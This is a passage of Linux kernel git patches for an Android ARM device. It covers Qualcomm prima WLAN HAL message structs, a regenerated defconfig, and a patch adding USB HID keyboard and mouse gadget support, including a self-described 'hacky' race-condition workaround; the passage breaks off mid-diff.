/*--------------------------------------------------------------------------- - * WLAN_HAL_BSSID_HOTLIST_SET_REQ + * WLAN_HAL_SSID_HOTLIST_SET_REQ *-------------------------------------------------------------------------*/ +typedef PACKED_PRE struct PACKED_POST +{ + /* SSID */ + char ssid [32+1]; + /* low threshold - used in L for significant_change - not used in L for + hotlist*/ + tANI_S32 lowRssiThreshold; + /* high threshold - used in L for significant rssi - used in L for hotlist */ + tANI_S32 highRssiThreshold; + /* band */ + tANI_U32 band; + } tSsidThresholdParams, *tpSsidThresholdParams; + + typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; tANI_U8 sessionId; - // number of hotlist APs - tANI_U32 numAp; - // hotlist APs - tApThresholdParams ap[WLAN_HAL_EXT_SCAN_MAX_HOTLIST_APS]; -} tHalBssidHotlistSetReq, *tpHalBssidHotlistSetReq; + tANI_U32 lostSsidSampleSize; + // number of hotlist SSIDs + tANI_U32 numSsid; + // hotlist SSIDs + tSsidThresholdParams ssid[WLAN_HAL_EXT_SCAN_MAX_HOTLIST_SSIDS]; +} tHalSsidHotlistSetReq, *tpHalSsidHotlistSetReq; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalBssidHotlistSetReq bssidHotlistSetReq; -}tHalHotlistSetReqMsg, *tpHalHotlistSetReqMsg; + tHalSsidHotlistSetReq ssidHotlistSetReq; +}tHalSsidHotlistSetReqMsg, *tpHalSsidHotlistSetReqMsg; /*--------------------------------------------------------------------------- - * WLAN_HAL_BSSID_HOTLIST_SET_RSP + * WLAN_HAL_SSID_HOTLIST_SET_RSP *-------------------------------------------------------------------------*/ - typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; tANI_U32 status; -}tHalHotlistSetRsp, *tpHalHotlistSetRsp; +}tHalSsidHotlistSetRsp, *tpHalSsidHotlistSetRsp; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalHotlistSetRsp hotlistSetRsp; -}tHalHotlistSetRspMsg, *tpHalHotlistSetRspMsg; + tHalSsidHotlistSetRsp hotlistSetRsp; +}tHalSsidHotlistSetRspMsg, *tpHalSsidHotlistSetRspMsg; /*--------------------------------------------------------------------------- - * WLAN_HAL_BSSID_HOTLIST_RESET_REQ + * WLAN_HAL_SSID_HOTLIST_RESET_REQ *-------------------------------------------------------------------------*/ typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; -}tHalHotlistResetReq, *tpHalHotlistResetReq; +}tHalSsidHotlistResetReq, *tpHalSsidHotlistResetReq; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalHotlistResetReq hotlistResetReq; -}tHalHotlistResetReqMsg, *tpHalHotlistResetReqMsg; + tHalSsidHotlistResetReq hotlistResetReq; +}tHalSsidHotlistResetReqMsg, *tpHalSsidHotlistResetReqMsg; /*--------------------------------------------------------------------------- - * WLAN_HAL_BSSID_HOTLIST_RESET_RSP + * WLAN_HAL_SSID_HOTLIST_RESET_RSP *-------------------------------------------------------------------------*/ typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; tANI_U32 status; -}tHalHotlistResetRsp, *tpHalHotlistResetRsp; +}tHalSsidHotlistResetRsp, *tpHalSsidHotlistResetRsp; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalHotlistResetRsp hotlistResetRsp; -}tHalHotlistResetRspMsg, *tpHalHotlistResetRspMsg; + tHalSsidHotlistResetRsp hotlistResetRsp; +}tHalSsidHotlistResetRspMsg, *tpHalSsidHotlistResetRspMsg; /*--------------------------------------------------------------------------- - * WLAN_HAL_BSSID_HOTLIST_RESULT_IND + * WLAN_HAL_SSID_HOTLIST_RESULT_IND *-------------------------------------------------------------------------*/ typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; tANI_U32 requestId; - tANI_U32 numHotlistBss; + tANI_BOOLEAN ssid_found; + tANI_U32 numHotlistSsid; tANI_BOOLEAN moreData; - tANI_U8 bssHotlist[1]; -}tHalHotlistResultIndMsg, *tpHalHotlistResultIndMsg; + tANI_U8 ssidHotlist[1]; // pointer to list of type tHalExtScanResultParams +}tHalSsidHotlistResultIndMsg, *tpHalSsidHotlistResultIndMsg; +/*--------------------------------------------------------------------------- + * WLAN_HAL_HIGH_PRIORITY_DATA_INFO_REQ + *-------------------------------------------------------------------------*/ + +typedef PACKED_PRE struct PACKED_POST +{ + tANI_BOOLEAN pause; // 1 -> pause, 0 -> unpause + tANI_U32 reserved; //reserved for future use +}tHalHighPriorityDataInfoInd, *tpHalHighPriorityDataInfoInd; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalHighPriorityDataInfoInd highPriorityDataInfoInd; +}tHalHighPriorityDataInfoIndMsg, *tpHalHighPriorityDataInfoIndMsg; /*--------------------------------------------------------------------------- *WLAN_HAL_MAC_SPOOFED_SCAN_REQ @@ -8647,24 +8917,181 @@ typedef PACKED_PRE struct PACKED_POST tANI_U8 logMailBoxVer; /* Qshrink is enabled */ tANI_BOOLEAN logCompressEnabled; + /* fw_dump_max_size is used to tell fwr mem dump size */ + tANI_U32 fw_dump_max_size; /* Reserved for future purpose */ - tANI_U32 reserved0; tANI_U32 reserved1; tANI_U32 reserved2; } tFWLoggingInitResp, * tpFWLoggingInitResp; + +typedef PACKED_PRE struct PACKED_POST { + tANI_U32 request_id; + tSirMacAddr bssId; + tANI_S8 min_rssi; + tANI_S8 max_rssi; +} tHalStartRssiMonitoringReqParams, * tpHalStartRssiMonitoringReqParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalStartRssiMonitoringReqParams startRssiMonitoringReqParams; +}tHalStartRssimonitoringReq, * tpHalStartRssimonitoringReq; + +//Following structure will be used for WLAN_HAL_START_RSSI_MONITORING_RSP +typedef PACKED_PRE struct PACKED_POST { + tANI_U32 request_id; + tANI_U32 status; +} tHalStartRssimonitoringRspParams, * tpHalStartRssimonitoringRspParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalStartRssimonitoringRspParams startRssimonitoringRspParams; +}tHalStartRssimonitoringRsp, * tpHalStartRssimonitoringRsp; + +//Following structures will be used for WLAN_HAL_RSSI_MONITORING_IND +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U32 request_id; + tSirMacAddr bssId; + tANI_S8 rssi; +} tHalRssiMonitorIndParams, * tpHalRssiMonitorIndParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalRssiMonitorIndParams RssiMonitorIndParams; +}tHalRssiMonitorInd, * tpHalRssiMonitorInd; + + +//Following structures will be used for WLAN_HAL_STOP_RSSI_MONITORING_REQ +typedef PACKED_PRE struct PACKED_POST { + tANI_U32 request_id; + tSirMacAddr bssId; +} tHalStopRssiMonitoringParams, * tpHalStopRssiMonitoringParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalStopRssiMonitoringParams stopRssiMonitoringParams; +}tHalStopRssimonitoringReq, * tpHalStopRssimonitoringReq; + +//Following structures will be used for WLAN_HAL_STOP_RSSI_MONITORING_RSP +typedef PACKED_PRE struct PACKED_POST { + tANI_U32 request_id; + tANI_U32 status; +} tHalStopRssimonitoringRspParams, * tpHalStopRssimonitoringRspParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalStopRssimonitoringRspParams stopRssimonitoringRspParams; +}tHalStopRssimonitoringRsp, * tpHalStopRssimonitoringRsp; + + typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; tFWLoggingInitResp tFWLoggingInitRespParams; } tFWLoggingInitRespMsg, * tpFWLoggingInitRespMsg; +/*--------------------------------------------------------------------------- + * WLAN_HAL_SET_PER_ROAM_CONFIG_REQ + *---------------------------------------------------------------------------*/ + +typedef PACKED_PRE struct PACKED_POST { + tANI_U32 request_id; + tANI_U32 isPERRoamCCAEnabled; + tANI_U32 rateUpThreshold; + tANI_U32 rateDownThreshold; + tANI_U32 waitPeriodForNextPERScan; + tANI_U32 PERtimerThreshold; + tANI_U32 PERroamTriggerPercent; + tANI_S16 PERRoamFullScanThreshold; + tANI_U16 reserved; +} tPerRoamConfigParams, * tpPerRoamConfigParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tPerRoamConfigParams perRoamConfigParams; +} tSetPerRoamConfigReq, * tpSetPerRoamConfigReq; + +/*--------------------------------------------------------------------------- + * WLAN_HAL_SET_PER_ROAM_CONFIG_RSP + *---------------------------------------------------------------------------*/ + +typedef PACKED_PRE struct PACKED_POST +{ + /* Success or Failure */ + tANI_U32 status; +} tConfigPerRoamRspParams, * tpConfigPerRoamRspParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tConfigPerRoamRspParams configPerRoamRspParams; +} tSetPerRoamConfigRsp, * tpSetPerRoamConfigRsp; + +/*--------------------------------------------------------------------------- + * WLAN_HAL_PER_ROAM_SCAN_TRIGGER_REQ + *---------------------------------------------------------------------------*/ + +typedef PACKED_PRE struct PACKED_POST { + bool roamScanReq; +} tStartRoamScanTriggerParams, * tpStartRoamScanTriggerParams; + +typedef PACKED_PRE struct PACKED_POST { + + tHalMsgHeader header; + tStartRoamScanTriggerParams startRoamScanTriggerParams; +} tStartRoamScanReq, *tpStartRoamScanReq; + +/*--------------------------------------------------------------------------- + * WLAN_HAL_PER_ROAM_SCAN_TRIGGER_RSP + *---------------------------------------------------------------------------*/ + +typedef PACKED_PRE struct PACKED_POST +{ + /* Success /Failure / Nil result */ + tANI_U32 status; +} tConfigRoamScanRspParams, * tpConfigRoamScanRspParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tConfigRoamScanRspParams configRoamScanRspParams; +} tSetRoamScanConfigRsp, * tpSetRoamScanConfigRsp; + + +#define PER_ROAM_MAX_AP_CNT 30 +#define PER_ROAM_MAX_CANDIDATE_CNT 15 + +/* Candidate Information to be shared in the Candidate Indication, + * similar to what is sent in legacy roaming with following additional info + */ + +typedef PACKED_PRE struct PACKED_POST { + tANI_U8 channelNumber; + tANI_U8 channelCCA; + tANI_U8 otherApCount; + tANI_S8 otherApRssi[PER_ROAM_MAX_AP_CNT]; +} tCandidateChannelInfo, * tpCandidateChannelInfo; + +typedef PACKED_PRE struct PACKED_POST { + tANI_U32 candidateCount; + tCandidateChannelInfo channelInfo[PER_ROAM_MAX_CANDIDATE_CNT]; +} tPerRoamScanResult, * tpPerRoamScanResult; + + /*--------------------------------------------------------------------------- * WLAN_HAL_FW_LOGGING_DXE_DONE_IND *-------------------------------------------------------------------------*/ typedef PACKED_PRE struct PACKED_POST { - tANI_U32 status; + tANI_U16 status; + tANI_U16 doneIndicationForSource; tANI_U32 logBuffLength[MAX_NUM_OF_BUFFER]; tANI_U64 logBuffAddress[MAX_NUM_OF_BUFFER]; } tFWLoggingDxeDoneInd, * tpFWLoggingDxeDoneInd; @@ -8697,6 +9124,35 @@ typedef PACKED_PRE struct PACKED_POST tANI_BOOLEAN done; }tLoggingMailBox, *tpLoggingMailBox; +/*--------------------------------------------------------------------------- + *WLAN_HAL_FW_MEMORY_DUMP_REQ + *--------------------------------------------------------------------------*/ +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U32 reserved; +}tHalFwMemoryDumpReqType, * tpHalFwMemoryDumpReqType; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalFwMemoryDumpReqType tFwMemoryDumpReqParam; +} tHalFwMemoryDumpReqMsg, * tpHalFwMemoryDumpReqMsg; + +/*--------------------------------------------------------------------------- + * WLAN_HAL_FW_MEMORY_DUMP_RSP + *-------------------------------------------------------------------------*/ +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U32 status; +} tHalFwMemoryDumpRespType, * tpHalFwMemoryDumpRespType; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalFwMemoryDumpRespType tFwMemoryDumpResp; +} tHalFwMemoryDumpRespMsg, * tpHalFwMemoryDumpRespMsg; + + /*--------------------------------------------------------------------------- * WLAN_HAL_ENABLE_MONITOR_MODE_REQ *-------------------------------------------------------------------------*/ @@ -8785,6 +9241,67 @@ typedef PACKED_PRE struct PACKED_POST tANI_U8 status; }tHalAvoidFreqRangeCtrlParam, *tpHalAvoidFreqRangeCtrlParam; +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U8 paramType; + tANI_U32 paramValue; + tSirMacAddr bssid; +} tSetWifiConfigParams, *tpSetWifiConfigParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tSetWifiConfigParams wifiConfigParams; +} tSetWifiConfigParamsReq, *tpSetWifiConfigParamsReq; + +typedef PACKED_PRE struct PACKED_POST { + tANI_U32 status; +} tHalSetWifiConfigRspParams, * tpHalSetWifiConfigRspParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + + tHalSetWifiConfigRspParams setWifiConfigRspParams; +} tHalSetWifiConfigRsp, *tpHalSetWifiConfigRsp; + +/*--------------------------------------------------------------------------- +* WLAN_HAL_ANTENNA_DIVERSITY_SELECTION_REQ +*-------------------------------------------------------------------------*/ +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U32 reserved; +} tHalAntennaDiversitySelectionReqParams, *tpHalAntennaDiversitySelectionReqParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalAntennaDiversitySelectionReqParams AntDivSelReqParams; +}tHalAntennaDiversitySelectionReqMsg; + +/*--------------------------------------------------------------------------- +* WLAN_HAL_ANTENNA_DIVERSITY_SELECTION_RSP +*-------------------------------------------------------------------------*/ + +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U16 status; + tANI_U32 selectedAntennaId; + tANI_U32 reserved; +} tHalAntennaDiversitySelectionRspParams, *tpHalAntennaDiversitySelectionRspParams; + +/* WDI_MODIFY_ROAM_PARAMS_IND */ +typedef PACKED_PRE struct PACKED_POST { + tANI_U8 param; + tANI_U32 value; +} tHalModifyRoamParamsIndParams, *tpHalModifyRoamParamsIndParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalModifyRoamParamsIndParams modifyRoamParamsReqParams; +} tHalModifyRoamParamsInd, *tpHalModifyRoamParamsInd; + #if defined(__ANI_COMPILER_PRAGMA_PACK_STACK) #pragma pack(pop) #elif defined(__ANI_COMPILER_PRAGMA_PACK) diff --git a/drivers/staging/prima/riva/inc/wlan_nv.h b/drivers/staging/prima/riva/inc/wlan_nv.h index e0f9d52a2dcd4..b99666c2bb301 100644 --- a/drivers/staging/prima/riva/inc/wlan_nv.h +++ b/drivers/staging/prima/riva/inc/wlan_nv.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012 The Linux Foundation. All rights reserved. + * Copyright (c) 2012, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -229,7 +229,10 @@ typedef enum RF_SUBBAND_INVALID = 0x7FFFFFFF /* define as 4 bytes data */ }eRfSubBand; -#define HT_40MINUS_INDEX 4 +struct chan_to_ht_40_index_map { + uint16 ht_40_minus_index; + uint16 ht_40_plus_index; +}; typedef enum { From ed3fa83eaa3ec571311eb485b033c993faf8085a Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Tue, 13 Dec 2016 14:01:48 +0530 Subject: [PATCH 173/365] regenerate defconfig --- arch/arm/configs/zetsubou_defconfig | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 5e2ce298207ab..4227639f36a67 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/arm 3.10.49 Kernel Configuration +# Linux/arm 3.10.104 Kernel Configuration # CONFIG_ARM=y CONFIG_ARM_HAS_SG_CHAIN=y @@ -3122,6 +3122,7 @@ CONFIG_QCOM_TDLS=y CONFIG_WLAN_FEATURE_11W=y CONFIG_QCOM_VOWIFI_11R=y CONFIG_ENABLE_LINUX_REG=y +# CONFIG_WLAN_OFFLOAD_PACKETS is not set # CONFIG_MACH_CKT is not set # CONFIG_MACH_CKT_MSM8939 is not set @@ -3366,6 +3367,7 @@ CONFIG_FS_MBCACHE=y # CONFIG_NILFS2_FS is not set CONFIG_FS_POSIX_ACL=y CONFIG_FILE_LOCKING=y +# CONFIG_FS_ENCRYPTION is not set CONFIG_FSNOTIFY=y CONFIG_DNOTIFY=y CONFIG_INOTIFY_USER=y @@ -3447,6 +3449,7 @@ CONFIG_F2FS_FS_POSIX_ACL=y CONFIG_F2FS_FS_SECURITY=y # CONFIG_F2FS_CHECK_FS is not set # CONFIG_F2FS_FS_ENCRYPTION is not set +# CONFIG_F2FS_FAULT_INJECTION is not set CONFIG_NETWORK_FILESYSTEMS=y CONFIG_NFS_FS=y CONFIG_NFS_V2=y @@ -3728,7 +3731,7 @@ CONFIG_CRYPTO_XCBC=y # Digest # CONFIG_CRYPTO_CRC32C=y -# CONFIG_CRYPTO_CRC32 is not set +CONFIG_CRYPTO_CRC32=y # CONFIG_CRYPTO_GHASH is not set CONFIG_CRYPTO_MD4=y CONFIG_CRYPTO_MD5=y From 7850df0cbc89dcd15548cc16c0f50c92a06c5e20 Mon Sep 17 00:00:00 2001 From: pelya Date: Wed, 6 Apr 2016 09:56:41 +0530 Subject: [PATCH 174/365] Add USB Keyboard Mouse Support Author: pelya --- drivers/usb/gadget/Makefile | 2 +- drivers/usb/gadget/android.c | 42 ++++++++ drivers/usb/gadget/f_hid.c | 101 +++++++++++++++++++- drivers/usb/gadget/f_hid.h | 16 ++++ drivers/usb/gadget/f_hid_android_keyboard.c | 44 +++++++++ drivers/usb/gadget/f_hid_android_mouse.c | 40 ++++++++ 6 files changed, 239 insertions(+), 6 deletions(-) create mode 100644 drivers/usb/gadget/f_hid.h create mode 100644 drivers/usb/gadget/f_hid_android_keyboard.c create mode 100644 drivers/usb/gadget/f_hid_android_mouse.c diff --git a/drivers/usb/gadget/Makefile b/drivers/usb/gadget/Makefile index 46fe9ac81db18..3a85cbc8b6fa1 100644 --- a/drivers/usb/gadget/Makefile +++ b/drivers/usb/gadget/Makefile @@ -67,7 +67,7 @@ g_nokia-y := nokia.o g_webcam-y := webcam.o g_ncm-y := ncm.o g_acm_ms-y := acm_ms.o -g_android-y := android.o +g_android-y := android.o f_hid.o g_tcm_usb_gadget-y := tcm_usb_gadget.o obj-$(CONFIG_USB_ZERO) += g_zero.o diff --git a/drivers/usb/gadget/android.c b/drivers/usb/gadget/android.c index 94820c1cf03be..aed1b3bbbb7d4 100644 --- a/drivers/usb/gadget/android.c +++ b/drivers/usb/gadget/android.c @@ -61,6 +61,9 @@ #include "f_ccid.c" #include "f_mtp.c" #include "f_accessory.c" +#include "f_hid.h" +#include "f_hid_android_keyboard.c" +#include "f_hid_android_mouse.c" #include "f_rndis.c" #include "rndis.c" #include "f_qc_ecm.c" @@ -2846,6 +2849,41 @@ static struct android_usb_function midi_function = { .attributes = midi_function_attributes, }; #endif +static int hid_function_init(struct android_usb_function *f, struct usb_composite_dev *cdev) +{ + return ghid_setup(cdev->gadget, 2); +} + +static void hid_function_cleanup(struct android_usb_function *f) +{ + ghid_cleanup(); +} + +static int hid_function_bind_config(struct android_usb_function *f, struct usb_configuration *c) +{ + int ret; + printk(KERN_INFO "hid keyboard\n"); + ret = hidg_bind_config(c, &ghid_device_android_keyboard, 0); + if (ret) { + pr_info("%s: hid_function_bind_config keyboard failed: %d\n", __func__, ret); + return ret; + } + printk(KERN_INFO "hid mouse\n"); + ret = hidg_bind_config(c, &ghid_device_android_mouse, 1); + if (ret) { + pr_info("%s: hid_function_bind_config mouse failed: %d\n", __func__, ret); + return ret; + } + return 0; +} + +static struct android_usb_function hid_function = { + .name = "hid", + .init = hid_function_init, + .cleanup = hid_function_cleanup, + .bind_config = hid_function_bind_config, +}; + static struct android_usb_function *supported_functions[] = { &ffs_function, &mbim_function, @@ -2872,6 +2910,7 @@ static struct android_usb_function *supported_functions[] = { #ifdef CONFIG_SND_PCM &audio_source_function, #endif + &hid_function, &uasp_function, &charger_function, #ifdef CONFIG_SND_RAWMIDI @@ -3233,6 +3272,8 @@ functions_store(struct device *pdev, struct device_attribute *attr, } } + /* HID driver always enabled, it's the whole point of this kernel patch */ + android_enable_function(dev, conf, "hid"); /* Free uneeded configurations if exists */ while (curr_conf->next != &dev->configs) { conf = list_entry(curr_conf->next, @@ -4087,3 +4128,4 @@ static void __exit cleanup(void) platform_driver_unregister(&android_platform_driver); } module_exit(cleanup); + diff --git a/drivers/usb/gadget/f_hid.c b/drivers/usb/gadget/f_hid.c index 6e69a8e8d22a7..dc66dcc1678da 100644 --- a/drivers/usb/gadget/f_hid.c +++ b/drivers/usb/gadget/f_hid.c @@ -17,8 +17,10 @@ #include #include #include +#include #include #include +#include "f_hid.h" static int major, minors; static struct class *hidg_class; @@ -60,6 +62,43 @@ struct f_hidg { struct usb_ep *out_ep; }; +/* Hacky device list to fix f_hidg_write being called after device destroyed. + It covers only most common race conditions, there will be rare crashes anyway. */ +enum { HACKY_DEVICE_LIST_SIZE = 4 }; +static struct f_hidg *hacky_device_list[HACKY_DEVICE_LIST_SIZE]; +static void hacky_device_list_add(struct f_hidg *hidg) +{ + int i; + for (i = 0; i < HACKY_DEVICE_LIST_SIZE; i++) { + if (!hacky_device_list[i]) { + hacky_device_list[i] = hidg; + return; + } + } + pr_err("%s: too many devices, not adding device %p\n", __func__, hidg); +} +static void hacky_device_list_remove(struct f_hidg *hidg) +{ + int i; + for (i = 0; i < HACKY_DEVICE_LIST_SIZE; i++) { + if (hacky_device_list[i] == hidg) { + hacky_device_list[i] = NULL; + return; + } + } + pr_err("%s: cannot find device %p\n", __func__, hidg); +} +static int hacky_device_list_check(struct f_hidg *hidg) +{ + int i; + for (i = 0; i < HACKY_DEVICE_LIST_SIZE; i++) { + if (hacky_device_list[i] == hidg) { + return 0; + } + } + return 1; +} + static inline struct f_hidg *func_to_hidg(struct usb_function *f) { return container_of(f, struct f_hidg, func); @@ -176,6 +215,11 @@ static ssize_t f_hidg_read(struct file *file, char __user *buffer, if (!access_ok(VERIFY_WRITE, buffer, count)) return -EFAULT; + if (hacky_device_list_check(hidg)) { + pr_err("%s: trying to read from device %p that was destroyed\n", __func__, hidg); + return -EIO; + } + spin_lock_irqsave(&hidg->spinlock, flags); #define READ_COND (!list_empty(&hidg->completed_out_req)) @@ -246,6 +290,11 @@ static ssize_t f_hidg_write(struct file *file, const char __user *buffer, if (!access_ok(VERIFY_READ, buffer, count)) return -EFAULT; + if (hacky_device_list_check(hidg)) { + pr_err("%s: trying to write to device %p that was destroyed\n", __func__, hidg); + return -EIO; + } + mutex_lock(&hidg->lock); #define WRITE_COND (!hidg->write_pending) @@ -260,6 +309,11 @@ static ssize_t f_hidg_write(struct file *file, const char __user *buffer, hidg->write_queue, WRITE_COND)) return -ERESTARTSYS; + if (hacky_device_list_check(hidg)) { + pr_err("%s: trying to write to device %p that was destroyed\n", __func__, hidg); + return -EIO; + } + mutex_lock(&hidg->lock); } @@ -300,7 +354,18 @@ static unsigned int f_hidg_poll(struct file *file, poll_table *wait) struct f_hidg *hidg = file->private_data; unsigned int ret = 0; + if (hacky_device_list_check(hidg)) { + pr_err("%s: trying to poll device %p that was destroyed\n", __func__, hidg); + return -EIO; + } + poll_wait(file, &hidg->read_queue, wait); + + if (hacky_device_list_check(hidg)) { + pr_err("%s: trying to poll device %p that was destroyed\n", __func__, hidg); + return -EIO; + } + poll_wait(file, &hidg->write_queue, wait); if (WRITE_COND) @@ -399,7 +464,12 @@ static int hidg_setup(struct usb_function *f, case ((USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8 | HID_REQ_GET_PROTOCOL): VDBG(cdev, "get_protocol\n"); - goto stall; + length = min_t(unsigned, length, 1); + if (hidg->bInterfaceSubClass == USB_INTERFACE_SUBCLASS_BOOT) + ((u8 *) req->buf)[0] = 0; /* Boot protocol */ + else + ((u8 *) req->buf)[0] = 1; /* Report protocol */ + goto respond; break; case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8 @@ -411,6 +481,14 @@ static int hidg_setup(struct usb_function *f, case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8 | HID_REQ_SET_PROTOCOL): VDBG(cdev, "set_protocol\n"); + length = 0; + if (hidg->bInterfaceSubClass == USB_INTERFACE_SUBCLASS_BOOT) { + if (value == 0) /* Boot protocol */ + goto respond; + } else { + if (value == 1) /* Report protocol */ + goto respond; + } goto stall; break; @@ -560,13 +638,15 @@ const struct file_operations f_hidg_fops = { .llseek = noop_llseek, }; -static int __init hidg_bind(struct usb_configuration *c, struct usb_function *f) +static int hidg_bind(struct usb_configuration *c, struct usb_function *f) { struct usb_ep *ep; struct f_hidg *hidg = func_to_hidg(f); int status; dev_t dev; + pr_info("%s: creating device %p\n", __func__, hidg); + /* allocate instance-specific interface IDs, and patch descriptors */ status = usb_interface_id(c, f); if (status < 0) @@ -632,6 +712,7 @@ static int __init hidg_bind(struct usb_configuration *c, struct usb_function *f) goto fail; device_create(hidg_class, NULL, dev, NULL, "%s%d", "hidg", hidg->minor); + hacky_device_list_add(hidg); return 0; @@ -651,12 +732,21 @@ static void hidg_unbind(struct usb_configuration *c, struct usb_function *f) { struct f_hidg *hidg = func_to_hidg(f); + pr_info("%s: destroying device %p\n", __func__, hidg); + /* This does not cover all race conditions, only most common one */ + mutex_lock(&hidg->lock); + hacky_device_list_remove(hidg); + mutex_unlock(&hidg->lock); + device_destroy(hidg_class, MKDEV(major, hidg->minor)); cdev_del(&hidg->cdev); /* disable/free request and end point */ usb_ep_disable(hidg->in_ep); - usb_ep_dequeue(hidg->in_ep, hidg->req); + /* TODO: calling this function crash kernel, + not calling this funct ion crash kernel inside f_hidg_write */ + /* usb_ep_dequeue(hidg->in_ep, hidg->req); */ + kfree(hidg->req->buf); usb_ep_free_request(hidg->in_ep, hidg->req); @@ -689,7 +779,7 @@ static struct usb_gadget_strings *ct_func_strings[] = { /*-------------------------------------------------------------------------*/ /* usb_configuration */ -int __init hidg_bind_config(struct usb_configuration *c, +int hidg_bind_config(struct usb_configuration *c, struct hidg_func_descriptor *fdesc, int index) { struct f_hidg *hidg; @@ -743,7 +833,7 @@ int __init hidg_bind_config(struct usb_configuration *c, return status; } -int __init ghid_setup(struct usb_gadget *g, int count) +int ghid_setup(struct usb_gadget *g, int count) { int status; dev_t dev; @@ -769,3 +859,4 @@ void ghid_cleanup(void) class_destroy(hidg_class); hidg_class = NULL; } + diff --git a/drivers/usb/gadget/f_hid.h b/drivers/usb/gadget/f_hid.h new file mode 100644 index 0000000000000..ad3527a6d81ba --- /dev/null +++ b/drivers/usb/gadget/f_hid.h @@ -0,0 +1,16 @@ +#ifndef _GADGET_F_HID_H +#define _GADGET_F_HID_H + +#include +#include +#include +#include + +int hidg_bind_config(struct usb_configuration *c, + struct hidg_func_descriptor *fdesc, int index); + +int ghid_setup(struct usb_gadget *g, int count); + +void ghid_cleanup(void); + +#endif diff --git a/drivers/usb/gadget/f_hid_android_keyboard.c b/drivers/usb/gadget/f_hid_android_keyboard.c new file mode 100644 index 0000000000000..1824bddec55d1 --- /dev/null +++ b/drivers/usb/gadget/f_hid_android_keyboard.c @@ -0,0 +1,44 @@ +#include +#include + +/* hid descriptor for a keyboard */ +static struct hidg_func_descriptor ghid_device_android_keyboard = { + .subclass = 1, /* Boot Interface Subclass */ + .protocol = 1, /* Keyboard */ + .report_length = 8, + .report_desc_length = 63, + .report_desc = { + 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ + 0x09, 0x06, /* USAGE (Keyboard) */ + 0xa1, 0x01, /* COLLECTION (Application) */ + 0x05, 0x07, /* USAGE_PAGE (Keyboard) */ + 0x19, 0xe0, /* USAGE_MINIMUM (Keyboard LeftControl) */ + 0x29, 0xe7, /* USAGE_MAXIMUM (Keyboard Right GUI) */ + 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ + 0x25, 0x01, /* LOGICAL_MAXIMUM (1) */ + 0x75, 0x01, /* REPORT_SIZE (1) */ + 0x95, 0x08, /* REPORT_COUNT (8) */ + 0x81, 0x02, /* INPUT (Data,Var,Abs) */ + 0x95, 0x01, /* REPORT_COUNT (1) */ + 0x75, 0x08, /* REPORT_SIZE (8) */ + 0x81, 0x03, /* INPUT (Cnst,Var,Abs) */ + 0x95, 0x05, /* REPORT_COUNT (5) */ + 0x75, 0x01, /* REPORT_SIZE (1) */ + 0x05, 0x08, /* USAGE_PAGE (LEDs) */ + 0x19, 0x01, /* USAGE_MINIMUM (Num Lock) */ + 0x29, 0x05, /* USAGE_MAXIMUM (Kana) */ + 0x91, 0x02, /* OUTPUT (Data,Var,Abs) */ + 0x95, 0x01, /* REPORT_COUNT (1) */ + 0x75, 0x03, /* REPORT_SIZE (3) */ + 0x91, 0x03, /* OUTPUT (Cnst,Var,Abs) */ + 0x95, 0x06, /* REPORT_COUNT (6) */ + 0x75, 0x08, /* REPORT_SIZE (8) */ + 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ + 0x25, 0x65, /* LOGICAL_MAXIMUM (101) */ + 0x05, 0x07, /* USAGE_PAGE (Keyboard) */ + 0x19, 0x00, /* USAGE_MINIMUM (Reserved) */ + 0x29, 0x65, /* USAGE_MAXIMUM (Keyboard Application) */ + 0x81, 0x00, /* INPUT (Data,Ary,Abs) */ + 0xc0 /* END_COLLECTION */ + } +}; diff --git a/drivers/usb/gadget/f_hid_android_mouse.c 